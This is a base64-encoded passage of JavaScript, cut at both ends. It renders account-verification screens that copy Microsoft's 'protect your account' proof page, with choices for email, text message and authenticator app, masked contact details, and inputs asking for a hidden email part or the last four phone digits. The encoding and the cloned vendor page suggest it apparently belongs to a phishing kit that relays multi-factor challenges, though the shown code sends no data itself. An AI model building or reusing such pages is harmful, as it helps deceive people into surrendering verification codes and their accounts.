WxlJywgJ2Rpc3BsYXk6IHVuc2V0OycpOw0KICAgIGxpbmtPbmx5LnNldEF0dHJpYnV0ZSgiZGF0YS1pZCIsIGl0ZW0uYV9pZCk7DQogICAgbGlua09ubHkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwgImxpbmtvcHRpb25jbGljayh0aGlzKSIpOw0KICAgIGxpbmtPbmx5LnRleHRDb250ZW50ID0gaXRlbS5hX3RleHQ7DQogICAgbGlua09ubHkuaHJlZiA9ICcjJzsNCiAgICBib3R0b21zZWN0aW9uLmFwcGVuZENoaWxkKGxpbmtPbmx5KTsNCiAgICB9IGVsc2UgaWYgKGl0ZW0udHlwZSA9PT0gJ3RleHQnKSB7DQogICAgY29uc3QgdGV4dE9ubHkgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdwJyk7DQogICAgdGV4dE9ubHkuY2xhc3NMaXN0LmFkZCgnbWItMTYnKTsNCiAgICB0ZXh0T25seS50ZXh0Q29udGVudCA9IGl0ZW0udGV4dDsNCiAgICBib3R0b21zZWN0aW9uLmFwcGVuZENoaWxkKHRleHRPbmx5KTsNCiAgICB9DQogICAgfSk7DQogICAgfQ0KDQogIGZ1bmN0aW9uIHNlbGVjdHByb3RlY3RvcHRpb24oZWxlKSB7DQogIC8vIEdldCBhbGwgcmFkaW8gaW5wdXRzIHdpdGhpbiB0aGUgaUFkZGl0aW9uYWxQcm9vZkluZm8gZWxlbWVudHMNCiAgY29uc3QgcmFkaW9JbnB1dHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuaUFkZGl0aW9uYWxQcm9vZkluZm8gaW5wdXRbdHlwZT0icmFkaW8iXScpOw0KDQogIC8vIExvb3AgdGhyb3VnaCBlYWNoIHJhZGlvIGlucHV0IGFuZCB1bmNoZWNrIGl0DQogIHJhZGlvSW5wdXRzLmZvckVhY2goKHJhZGlvSW5wdXQpID0+IHsNCiAgICByYWRpb0lucHV0LnJlbW92ZUF0dHJpYnV0ZSgnY2hlY2tlZCcpOw0KICAgIHJhZGlvSW5wdXQucmVtb3ZlQXR0cmlidXRlKCdhcmlhLWNoZWNrZWQnKTsNCiAgfSk7DQoNCiAgLy8gQ2hlY2sgdGhlIHJhZGlvIGlucHV0IG9mIHRoZSBzZWxlY3RlZCBlbGVtZW50DQogIGNvbnN0IHNlbGVjdGVkUmFkaW9JbnB1dCA9IGVsZTsNCg0KICAvLyBSZW1vdmUgaUFkZGl0aW9uYWxQcm9vZkluZm8gZnJvbSBhbGwgb3RoZXIgZWxlbWVudHMNCiAgY29uc3QgcHJvb2ZJbmZvRWxlbWVudHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuaUFkZGl0aW9uYWxQcm9vZkluZm8nKTsNCiAgcHJvb2ZJbmZvRWxlbWVudHMuZm9yRWFjaCgoZWxlbWVudCkgPT4gew0KICAgIGlmIChlbGVtZW50ICE9PSBlbGUpIHsNCiAgICAgIGVsZW1lbnQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChlbGVtZW50KTsNCiAgICB9DQogIH0pOw0KDQogIG5leHRlbGV0ZXh0ID0gZWxlLm5leHRFbGVtZW50U2libGluZy50ZXh0Q29udGVudDsNCg0KDQogIC8vIEFkZCBpQWRkaXRpb25hbFByb29mSW5mbyB0byB0aGUgc2VsZWN0ZWQgZWxlbWVudA0KICBjb25zdCBhZGRpdGlvbmFsUHJvb2ZJbmZvRGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQogIGFkZGl0aW9uYWxQcm9vZkluZm9EaXYuY2xhc3NMaXN0LmFkZCgiaUFkZGl0aW9uYWxQcm9vZkluZm8iKTsNCg0KICAvLyBDcmVhdGUgdGhlIGlubmVyIEhUTUwgZm9yIHRoZSBpQWRkaXRpb25hbFByb29mSW5mbyBkaXYgYmFzZWQgb24gdGhlIHNlbGVjdGVkIG9wdGlvbg0KICBpZiAoc2VsZWN0ZWRSYWRpb0lucHV0LnZhbHVlID09PSAnZW1haWwnKSB7DQogICAgZW1haWx2YWwgPSBuZXh0ZWxldGV4dC5zcGxpdCgnQCcpLnBvcCgpOw0KICAgIC8vIENyZWF0ZSBIVE1MIGZvciB0aGUgZW1haWwgdHlwZQ0KICAgIGFkZGl0aW9uYWxQcm9vZkluZm9EaXYuaW5uZXJIVE1MID0gYA0KICAgICAgPGRpdiBjbGFzcz0idGV4dC1ibG9jay1ib2R5IiBpZD0iaUVudGVyUHJvb2ZEZXNjIj4NCiAgICAgICAgVG8gdmVyaWZ5IHRoYXQgdGhpcyBpcyB5b3VyIGVtYWlsIGFkZHJlc3MsIGNvbXBsZXRlIHRoZSBoaWRkZW4gcGFydCBhbmQgY2xpY2sgIlNlbmQgY29kZSIgdG8gcmVjZWl2ZSB5b3VyIGNvZGUuDQogICAgICA8L2Rpdj4NCiAgICAgIDxkaXYgcm9sZT0iYWxlcnQiIGFyaWEtbGl2ZT0iYXNzZXJ0aXZlIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZXJyb3IgSGlkZSIgaWQ9ImlQcm9vZklucHV0RXJyb3IiPjwvZGl2Pg0KICAgICAgPC9kaXY+DQogICAgICA8ZGl2IGNsYXNzPSJlbWFpbFBhcnRpYWwgZGlybHRyIGlucHV0LWdyb3VwIGlucHV0LW1heC13aWR0aCIgaWQ9ImlQcm9vZkVtYWlsRW50cnkiIHN0eWxlPSJkaXNwbGF5OiB0YWJsZTsiPg0KICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCBub1JpZ2h0Qm9yZGVyIiBhdXRvY29tcGxldGU9Im9mZiIgdHlwZT0iZW1haWwiIGlkPSJpUHJvb2ZFbWFpbCIgbmFtZT0iaVByb29mRW1haWwiIG1heGxlbmd0aD0iMTEzIiBhcmlhLXJlcXVpcmVkPSJ0cnVlIiBhcmlhLWxhYmVsPSJFbWFpbCBuYW1lIiBhcmlhLWRlc2NyaWJlZGJ5PSJpUHJvb2ZJbnB1dEVycm9yIj4NCiAgICAgICAgPGxhYmVsIGNsYXNzPSJpbnB1dC1ncm91cC1hZGRvbiBub0xlZnRCb3JkZXIgb3V0bG9va0VtYWlsTGFiZWwiIGlkPSJpQ29uZmlybVByb29mRW1haWxEb21haW4iPkBgK2VtYWlsdmFsK2A8L2xhYmVsPg0KICAgICAgPC9kaXY+DQogICAgICA8ZGl2IGNsYXNzPSJwaGNvbnRhaW5lciIgaWQ9ImlQcm9vZlBob25lRW50cnkiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgYXJpYS1oaWRkZW49InRydWUiPg0KICAgICAgICA8bGFiZWwgaWQ9ImlQcm9vZlBob25lSGludCIgZm9yPSJpUHJvb2ZQaG9uZSIgY2xhc3M9ImZvcm0tZ3JvdXAtdG9wIiBhcmlhLWhpZGRlbj0idHJ1ZSI+TGFzdCA0IGRpZ2l0cyBvZiBwaG9uZSBudW1iZXI8L2xhYmVsPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGVsIiBhdXRvY29tcGxldGU9Im9mZiIgaWQ9ImlQcm9vZlBob25lIiBuYW1lPSJpUHJvb2ZQaG9uZSIgY2xhc3M9ImZvcm0tY29udHJvbCBpbnB1dC1tYXgtd2lkdGgiIG1heGxlbmd0aD0iNCIgYXJpYS1yZXF1aXJlZD0idHJ1ZSIgYXJpYS1sYWJlbD0iTGFzdCA0IGRpZ2l0cyBvZiBwaG9uZSBudW1iZXIiIGFyaWEtZGVzY3JpYmVkYnk9ImlQcm9vZklucHV0RXJyb3IiPg0KICAgICAgPC9kaXY+DQogICAgYDsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiYnRuX3Byb3RlY3RhY2NvdW50IikudGV4dENvbnRlbnQgPSAiU2VuZCBDb2RlIjsNCiAgfSBlbHNlIGlmIChzZWxlY3RlZFJhZGlvSW5wdXQudmFsdWUgPT09ICd0ZXh0Jykgew0KICAgIHBob25ldmFsID0gbmV4dGVsZXRleHQuc3BsaXQoJyonKS5wb3AoKTsNCiAgICAvLyBDcmVhdGUgSFRNTCBmb3IgdGhlIHRleHQgdHlwZQ0KICAgIGFkZGl0aW9uYWxQcm9vZkluZm9EaXYuaW5uZXJIVE1MID0gYA0KICAgICAgPGRpdiBjbGFzcz0idGV4dC1ibG9jay1ib2R5IiBpZD0iaUVudGVyUHJvb2ZEZXNjIj4NCiAgICAgICAgVG8gdmVyaWZ5IHRoYXQgdGhpcyBpcyB5b3VyIHBob25lIG51bWJlciwgZW50ZXIgdGhlIGxhc3QgNCBkaWdpdHMgaW5jbHVkaW5nIGArcGhvbmV2YWwrYCwgYW5kIHRoZW4gY2xpY2sgIlNlbmQgY29kZSIgdG8gcmVjZWl2ZSB5b3VyIGNvZGUuDQogICAgICA8L2Rpdj4NCiAgICAgIDxkaXYgcm9sZT0iYWxlcnQiIGFyaWEtbGl2ZT0iYXNzZXJ0aXZlIj4NCiAgICAgICAgPGRpdiBjbGFzcz0iYWxlcnQgYWxlcnQtZXJyb3IgSGlkZSIgaWQ9ImlQcm9vZklucHV0RXJyb3IiPjwvZGl2Pg0KICAgICAgPC9kaXY+DQogICAgICA8ZGl2IGNsYXNzPSJlbWFpbFBhcnRpYWwgZGlybHRyIGlucHV0LWdyb3VwIGlucHV0LW1heC13aWR0aCIgaWQ9ImlQcm9vZkVtYWlsRW50cnkiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgYXJpYS1oaWRkZW49InRydWUiPg0KICAgICAgICA8aW5wdXQgY2xhc3M9ImZvcm0tY29udHJvbCBub1JpZ2h0Qm9yZGVyIiBhdXRvY29tcGxldGU9Im9mZiIgdHlwZT0iZW1haWwiIGlkPSJpUHJvb2ZFbWFpbCIgbmFtZT0iaVByb29mRW1haWwiIG1heGxlbmd0aD0iMTEzIiBhcmlhLXJlcXVpcmVkPSJ0cnVlIiBhcmlhLWxhYmVsPSJFbWFpbCBuYW1lIiBhcmlhLWRlc2NyaWJlZGJ5PSJpUHJvb2ZJbnB1dEVycm9yIj4NCiAgICAgICAgPGxhYmVsIGNsYXNzPSJpbnB1dC1ncm91cC1hZGRvbiBub0xlZnRCb3JkZXIgb3V0bG9va0VtYWlsTGFiZWwiIGlkPSJpQ29uZmlybVByb29mRW1haWxEb21haW4iPjwvbGFiZWw+DQogICAgICA8L2Rpdj4NCiAgICAgIDxkaXYgY2xhc3M9InBoY29udGFpbmVyIiBpZD0iaVByb29mUGhvbmVFbnRyeSIgc3R5bGU9IiI+DQogICAgICAgIDxsYWJlbCBpZD0iaVByb29mUGhvbmVIaW50IiBmb3I9ImlQcm9vZlBob25lIiBjbGFzcz0iZm9ybS1ncm91cC10b3AiIGFyaWEtaGlkZGVuPSJ0cnVlIj5MYXN0IDQgZGlnaXRzIG9mIHBob25lIG51bWJlcjwvbGFiZWw+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZWwiIGF1dG9jb21wbGV0ZT0ib2ZmIiBpZD0iaVByb29mUGhvbmUiIG5hbWU9ImlQcm9vZlBob25lIiBjbGFzcz0iZm9ybS1jb250cm9sIGlucHV0LW1heC13aWR0aCIgbWF4bGVuZ3RoPSI0IiBhcmlhLXJlcXVpcmVkPSJ0cnVlIiBhcmlhLWxhYmVsPSJMYXN0IDQgZGlnaXRzIG9mIHBob25lIG51bWJlciIgYXJpYS1kZXNjcmliZWRieT0iaVByb29mSW5wdXRFcnJvciI+DQogICAgICA8L2Rpdj4NCiAgICBgOw0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJidG5fcHJvdGVjdGFjY291bnQiKS50ZXh0Q29udGVudCA9ICJTZW5kIENvZGUiOw0KICB9IGVsc2UgaWYgKHNlbGVjdGVkUmFkaW9JbnB1dC52YWx1ZSA9PT0gJ2F1dGhhcHAnKSB7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImJ0bl9wcm90ZWN0YWNjb3VudCIpLnRleHRDb250ZW50ID0gIk5leHQiOw0KICB9IGVsc2UgaWYgKHNlbGVjdGVkUmFkaW9JbnB1dC52YWx1ZSA9PT0gJ25vdGFueW1vcmUnKSB7DQogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImJ0bl9wcm90ZWN0YWNjb3VudCIpLnRleHRDb250ZW50ID0gIlZlcmlmeSBvbmxpbmUiOw0KICB9DQoNCg0KICAvLyBBcHBlbmQgdGhlIGFkZGl0aW9uYWxQcm9vZkluZm9EaXYgdG8gdGhlIHNlbGVjdGVkIHJhZGlvIGVsZW1lbnQncyBwYXJlbnQNCiAgZWxlLnBhcmVudE5vZGUucGFyZW50Tm9kZS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKGFkZGl0aW9uYWxQcm9vZkluZm9EaXYpOw0KfQ0KDQogICAgZnVuY3Rpb24gZGlzcGxheXByb3RlY3RvcHRpb25zKGFycmF5KXsNCiAgICBjb25zdCBwYXJlbnRFbGVtZW50ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInByb3RlY3RhY2NvdW50b3B0aW9ucyIpOw0KICAgIHBhcmVudEVsZW1lbnQuaW5uZXJIVE1MID0gJyc7DQogICAgYXJyYXkuZm9yRWFjaCgoaXRlbSwgaW5kZXgpID0+IHsNCiAgICBjb25zdCBwcm9vZkRpdiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOw0KICAgIHByb29mRGl2LmlkID0gInByb29mRGl2IiArIGluZGV4Ow0KICAgIA0KICAgIC8vIENyZWF0ZSB0aGUgaW5uZXIgZGl2IHdpdGggY2xhc3MgInJhZGlvIg0KICAgIGNvbnN0IHJhZGlvRGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQogICAgcmFkaW9EaXYuY2xhc3NMaXN0LmFkZCgicmFkaW8iKTsNCiAgICANCiAgICAvLyBDcmVhdGUgdGhlIGxhYmVsIGVsZW1lbnQNCiAgICBjb25zdCBsYWJlbCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImxhYmVsIik7DQogICAgDQogICAgLy8gQ3JlYXRlIHRoZSBpbnB1dCBlbGVtZW50IHdpdGggYXR0cmlidXRlcw0KICAgIGNvbnN0IGlucHV0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTsNCiAgICBpbnB1dC50eXBlID0gInJhZGlvIjsNCiAgICBpbnB1dC5zZXRBdHRyaWJ1dGUoIm9uY2hhbmdlIiwic2VsZWN0cHJvdGVjdG9wdGlvbih0aGlzKSIpOw0KICAgIGlucHV0LnJvbGUgPSAicmFkaW8iOw0KICAgIGlucHV0Lm5hbWUgPSAicHJvb2YiOw0KICAgIGlucHV0LnZhbHVlID0gaXRlbS50eXBlOw0KICAgIGlucHV0LmNsYXNzTGlzdC5hZGQoImlucHV0QWxpZ25NaWRkbGUiKTsNCiAgICBpbnB1dC5zZXRBdHRyaWJ1dGUoDQogICAgImFyaWEtZGVzY3JpYmVkYnkiLA0KICAgICJpRW50ZXJQcm9vZkRlc2MgaVByb29mTGJsMSINCiAgICApOw0KICAgIA0KICAgIC8vIENyZWF0ZSB0aGUgc3BhbiBlbGVtZW50IHdpdGggaWQgImlQcm9vZkxibDEiIGFuZCBjbGFzcyAiZGlybHRyIg0KICAgIGNvbnN0IHNwYW4gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzcGFuIik7DQogICAgc3Bhbi5pZCA9ICJpUHJvb2ZMYmwxIjsNCiAgICBzcGFuLmNsYXNzTGlzdC5hZGQoImRpcmx0ciIpOw0KICAgIHNwYW4udGV4dENvbnRlbnQgPSBpdGVtLnRleHQ7DQogICAgLy8gaXRlbS50eXBlDQogICAgaWYgKGluZGV4ID09IDApew0KICAgIGlucHV0LmNoZWNrZWQgPSB0cnVlOw0KICAgIH0NCiAgICANCiAgICBsYWJlbC5hcHBlbmRDaGlsZChpbnB1dCk7DQogICAgbGFiZWwuYXBwZW5kQ2hpbGQoc3Bhbik7DQogICAgDQogICAgcmFkaW9EaXYuYXBwZW5kQ2hpbGQobGFiZWwpOw0KICAgIA0KICAgIHByb29mRGl2LmFwcGVuZENoaWxkKHJhZGlvRGl2KTsNCg0KICAgIGlmIChpbmRleCA9PSAwICYmIGl0ZW0udHlwZSA9PT0gJ2VtYWlsJykgew0KICAgICAgZW1haWx2YWwgPSBpdGVtLnRleHQuc3BsaXQoJ0AnKS5wb3AoKTsNCiAgICAgIGNvbnN0IGFkZGl0aW9uYWxQcm9vZkluZm9EaXYgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTsNCiAgICAgIGFkZGl0aW9uYWxQcm9vZkluZm9EaXYuY2xhc3NMaXN0LmFkZCgiaUFkZGl0aW9uYWxQcm9vZkluZm8iKTsNCg0KICAgICAgY29uc3QgdGV4dEJsb2NrQm9keSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOw0KICAgICAgdGV4dEJsb2NrQm9keS5jbGFzc0xpc3QuYWRkKCJ0ZXh0LWJsb2NrLWJvZHkiKTsNCiAgICAgIHRleHRCbG9ja0JvZHkuaWQgPSAiaUVudGVyUHJvb2ZEZXNjIjsNCiAgICAgIHRleHRCbG9ja0JvZHkudGV4dENvbnRlbnQgPSAiVG8gdmVyaWZ5IHRoYXQgdGhpcyBpcyB5b3VyIGVtYWlsIGFkZHJlc3MsIGNvbXBsZXRlIHRoZSBoaWRkZW4gcGFydCBhbmQgY2xpY2sgXCJTZW5kIGNvZGVcIiB0byByZWNlaXZlIHlvdXIgY29kZS4iOw0KDQogICAgICBjb25zdCBhbGVydERpdiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOw0KICAgICAgYWxlcnREaXYuc2V0QXR0cmlidXRlKCJyb2xlIiwgImFsZXJ0Iik7DQogICAgICBhbGVydERpdi5zZXRBdHRyaWJ1dGUoImFyaWEtbGl2ZSIsICJhc3NlcnRpdmUiKTsNCg0KICAgICAgY29uc3QgYWxlcnRFcnJvckRpdiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOw0KICAgICAgYWxlcnRFcnJvckRpdi5jbGFzc0xpc3QuYWRkKCJhbGVydCIsICJhbGVydC1lcnJvciIsICJIaWRlIik7DQogICAgICBhbGVydEVycm9yRGl2LmlkID0gImlQcm9vZklucHV0RXJyb3IiOw0KDQogICAgICBjb25zdCBlbWFpbFBhcnRpYWxEaXYgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTsNCiAgICAgIGVtYWlsUGFydGlhbERpdi5jbGFzc0xpc3QuYWRkKCJlbWFpbFBhcnRpYWwiLCAiZGlybHRyIiwgImlucHV0LWdyb3VwIiwgImlucHV0LW1heC13aWR0aCIpOw0KICAgICAgZW1haWxQYXJ0aWFsRGl2LmlkID0gImlQcm9vZkVtYWlsRW50cnkiOw0KICAgICAgZW1haWxQYXJ0aWFsRGl2LnN0eWxlLmRpc3BsYXkgPSAidGFibGUiOw0KDQogICAgICBjb25zdCBlbWFpbElucHV0ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTsNCiAgICAgIGVtYWlsSW5wdXQudHlwZSA9ICJlbWFpbCI7DQogICAgICBlbWFpbElucHV0Lm5hbWUgPSAiaVByb29mRW1haWwiOw0KICAgICAgZW1haWxJbnB1dC5jbGFzc0xpc3QuYWRkKCJmb3JtLWNvbnRyb2wiLCAibm9SaWdodEJvcmRlciIpOw0KICAgICAgZW1haWxJbnB1dC5zZXRBdHRyaWJ1dGUoImF1dG9jb21wbGV0ZSIsICJvZmYiKTsNCiAgICAgIGVtYWlsSW5wdXQubWF4TGVuZ3RoID0gIjExMyI7DQogICAgICBlbWFpbElucHV0LnNldEF0dHJpYnV0ZSgiYXJpYS1yZXF1aXJlZCIsICJ0cnVlIik7DQogICAgICBlbWFpbElucHV0LnNldEF0dHJpYnV0ZSgiYXJpYS1sYWJlbCIsICJFbWFpbCBuYW1lIik7DQogICAgICBlbWFpbElucHV0LnNldEF0dHJpYnV0ZSgiYXJpYS1kZXNjcmliZWRieSIsICJpUHJvb2ZJbnB1dEVycm9yIik7DQoNCiAgICAgIGNvbnN0IGVtYWlsTGFiZWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJsYWJlbCIpOw0KICAgICAgZW1haWxMYWJlbC5jbGFzc0xpc3QuYWRkKCJpbnB1dC1ncm91cC1hZGRvbiIsICJub0xlZnRCb3JkZXIiLCAib3V0bG9va0VtYWlsTGFiZWwiKTsNCiAgICAgIGVtYWlsTGFiZWwudGV4dENvbnRlbnQgPSAnQCcrZW1haWx2YWw7DQoNCiAgICAgIGVtYWlsUGFydGlhbERpdi5hcHBlbmRDaGlsZChlbWFpbElucHV0KTsNCiAgICAgIGVtYWlsUGFydGlhbERpdi5hcHBlbmRDaGlsZChlbWFpbExhYmVsKTsNCg0KICAgICAgYWRkaXRpb25hbFByb29mSW5mb0Rpdi5hcHBlbmRDaGlsZCh0ZXh0QmxvY2tCb2R5KTsNCiAgICAgIGFsZXJ0RGl2LmFwcGVuZENoaWxkKGFsZXJ0RXJyb3JEaXYpOw0KICAgICAgYWRkaXRpb25hbFByb29mSW5mb0Rpdi5hcHBlbmRDaGlsZChhbGVydERpdik7DQogICAgICBhZGRpdGlvbmFsUHJvb2ZJbmZvRGl2LmFwcGVuZENoaWxkKGVtYWlsUGFydGlhbERpdik7DQoNCiAgICAgIHByb29mRGl2LmFwcGVuZENoaWxkKHJhZGlvRGl2KTsNCiAgICAgIHByb29mRGl2LmFwcGVuZENoaWxkKGFkZGl0aW9uYWxQcm9vZkluZm9EaXYpOw0KICAgIH0gZWxzZSBpZiAoaW5kZXggPT0gMCAmJiBpdGVtLnR5cGUgPT09ICd0ZXh0Jykgew0KICAgICAgY29uc3QgYWRkaXRpb25hbFByb29mSW5mb0RpdiA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpOw0KICAgICAgYWRkaXRpb25hbFByb29mSW5mb0Rpdi5jbGFzc0xpc3QuYWRkKCJpQWRkaXRpb25hbFByb29mSW5mbyIpOw0KDQogICAgICBjb25zdCB0ZXh0QmxvY2tCb2R5ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iik7DQogICAgICB0ZXh0QmxvY2tCb2R5LmNsYXNzTGlzdC5hZGQoInRleHQtYmxvY2stYm9keSIpOw0KICAgICAgdGV4dEJsb2NrQm9keS5pZCA9ICJpRW50ZXJQcm9vZkRlc2MiOw0KICAgICAgdGV4dEJsb2NrQm9keS50ZXh0Q29udGVudCA9ICJUbyB2ZXJpZnkgdGhhdCB0aGlzIGlzIHlvdXIgcGhvbmUgbnVtYmVyLCBlbnRlciB0aGUgbGFzdCA0IGRpZ2l0cyBpbmNsdWRpbmcgOTUsIGFuZCB0aGVuIGNsaWNrIFwiU2VuZCBjb2RlXCIgdG8gcmVjZWl2ZSB5b3VyIGNvZGUuIjsNCg0KICAgICAgY29uc3QgYWxlcnREaXYgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTsNCiAgICAgIGFsZXJ0RGl2LnNldEF0dHJpYnV0ZSgicm9sZSIsICJhbGVydCIpOw0KICAgICAgYWxlcnREaXYuc2V0QXR0cmlidXRlKCJhcmlhLWxpdmUiLCAiYXNzZXJ0aXZlIik7DQoNCiAgICAgIGNvbnN0IGFsZXJ0RXJyb3JEaXYgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTsNCiAgICAgIGFsZXJ0RXJyb3JEaXYuY2xhc3NMaXN0LmFkZCgiYWxlcnQiLCAiYWxlcnQtZXJyb3IiLCAiSGlkZSIpOw0KICAgICAgYWxlcnRFcnJvckRpdi5pZCA9ICJpUHJvb2ZJbnB1dEVycm9yIjsNCg0KICAgICAgY29uc3QgcGhjb250YWluZXJEaXYgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTsNCiAgICAgIHBoY29udGFpbmVyRGl2LmNsYXNzTGlzdC5hZGQoInBoY29udGFpbmVyIik7DQogICAgICBwaGNvbnRhaW5lckRpdi5pZCA9ICJpUHJvb2ZQaG9uZUVudHJ5IjsNCiAgICAgIHBoY29udGFpbmVyRGl2LnN0eWxlLmRpc3BsYXkgPSAiIjsNCg0KICAgICAgY29uc3QgcGhvbmVIaW50TGFiZWwgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJsYWJlbCIpOw0KICAgICAgcGhvbmVIaW50TGFiZWwuY2xhc3NMaXN0LmFkZCgiZm9ybS1ncm91cC10b3AiKTsNCiAgICAgIHBob25lSGludExhYmVsLmlkID0gImlQcm9vZlBob25lSGludCI7DQogICAgICBwaG9uZUhpbnRMYWJlbC5zZXRBdHRyaWJ1dGUoImZvciIsICJpUHJvb2ZQaG9uZSIpOw0KICAgICAgcGhvbmVIaW50TGFiZWwuc2V0QXR0cmlidXRlKCJhcmlhLWhpZGRlbiIsICJ0cnVlIik7DQogICAgICBwaG9uZUhpbnRMYWJlbC50ZXh0Q29udGVudCA9ICJMYXN0IDQgZGlnaXRzIG9mIHBob25lIG51bWJlciI7DQoNCiAgICAgIGNvbnN0IHBob25lSW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpbnB1dCIpOw0KICAgICAgcGhvbmVJbnB1dC50eXBlID0gInRlbCI7DQogICAgICBwaG9uZUlucHV0LmlkID0gImlQcm9vZlBob25lIjsNCiAgICAgIHBob25lSW5wdXQubmFtZSA9ICJpUHJvb2ZQaG9uZSI7DQogICAgICBwaG9uZUlucHV0LmNsYXNzTGlzdC5hZGQoImZvcm0tY29udHJvbCIsICJpbnB1dC1tYXgtd2lkdGgiKTsNCiAgICAgIHBob25lSW5wdXQuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7DQogICAgICBwaG9uZUlucHV0Lm1heExlbmd0aCA9ICI0IjsNCiAgICAgIHBob25lSW5wdXQuc2V0QXR0cmlidXRlKCJhcmlhLXJlcXVpcmVkIiwgInRydWUiKTsNCiAgICAgIHBob25lSW5wdXQuc2V0QXR0cmlidXRlKCJhcmlhLWxhYmVsIiwgIkxhc3QgNCBkaWdpdHMgb2YgcGhvbmUgbnVtYmVyIik7DQogICAgICBwaG9uZUlucHV0LnNldEF0dHJpYnV0ZSgiYXJpYS1kZXNjcmliZWRieSIsICJpUHJvb2ZJbnB1dEVycm9yIik7DQoNCiAgICAgIHBoY29udGFpbmVyRGl2LmFwcGVuZENoaWxkKHBob25lSGludExhYmVsKTsNCiAgICAgIHBoY29udGFpbmVyRGl2LmFwcGVuZENoaWxkKHBob25lSW5wdXQpOw0KDQogICAgICBhZGRpdGlvbmFsUHJvb2ZJbmZvRGl2LmFwcGVuZENoaWxkKHRleHRCbG9ja0JvZHkpOw0KICAgICAgYWxlcnREaXYuYXBwZW5kQ2hpbGQoYWxlcnRFcnJvckRpdik7DQogICAgICBhZGRpdGlvbmFsUHJvb2ZJbmZvRGl2LmFwcGVuZENoaWxkKGFsZXJ0RGl2KTsNCiAgICAgIGFkZGl0aW9uYWxQcm9vZkluZm9EaXYuYXBwZW5kQ2hpbGQocGhjb250YWluZXJEaXYpOw0KDQogICAgICAvLyBBZGQgdGhlICJhZGRpdGlvbmFsUHJvb2ZJbmZvRGl2IiBhZnRlciB0aGUgInJhZGlvRGl2Ig0KICAgICAgcHJvb2ZEaXYuYXBwZW5kQ2hpbGQocmFkaW9EaXYpOw0KICAgICAgcHJvb2ZEaXYuYXBwZW5kQ2hpbGQoYWRkaXRpb25hbFByb29mSW5mb0Rpdik7DQogICAgfQ0KICAgIA0KICAgIHBhcmVudEVsZW1lbnQuYXBwZW5kQ2hpbGQocHJvb2ZEaXYpOw0KICAgIH0pOw0KICAgIH0NCg0KLy8gICAgIGNvbnN0IGVsZW1lbnRzRGF0YSA9IFsNCi8vICAgew0KLy8gICAgIHRleHQ6ICJFbWFpbCBicioqKioqQHRlbGlob21kLmNvbSIsDQovLyAgICAgdHlwZTogImVtYWlsIiwNCi8vICAgfSwNCi8vICAgew0KLy8gICAgIHRleHQ6ICJUZXh0ICoqKioqKioqOTUiLA0KLy8gICAgIHR5cGU6ICJ0ZXh0IiwNCi8vICAgfSwNCi8vICAgew0KLy8gICAgIHRleHQ6ICJUZXh0ICoqKioqKioqNDQiLA0KLy8gICAgIHR5cGU6ICJ0ZXh0IiwNCi8vICAgfSwNCi8vICAgew0KLy8gICAgIHRleHQ6ICJVc2UgYW4gYXV0aGVudGljYXRvciBhcHAiLA0KLy8gICAgIHR5cGU6ICJhdXRoYXBwIiwNCi8vICAgfSwNCi8vICAgew0KLy8gICAgIHRleHQ6ICJJIGRvbid0IGhhdmUgdGhlc2UgYW55IG1vcmUiLA0KLy8gICAgIHR5cGU6ICJub3Rhbnltb3JlIiwNCi8vICAgfSwNCi8vIF07DQovLyAgICAgZGlzcGxheXByb3RlY3RvcHRpb25zKGVsZW1lbnRzRGF0YSk7DQoNCiAgICBmdW5jdGlvbiBkaXNwbGF5bXVsdGlwbGVhY2NvdW50cyhhcnJheSl7DQogICAgY29uc3QgcGFyZW50RWxlbWVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtdWx0aXBsZWFjY291bnRvcHRpb25zIik7DQogICAgcGFyZW50RWxlbWVudC5pbm5lckhUTUwgPSAnJzsNCiAgICBhcnJheS5mb3JFYWNoKChpdGVtKSA9PiB7DQoNCiAgICBjb25zdCBsaXN0SXRlbURpdiA9IGRvY3VtZW50LmNyZWF0ZU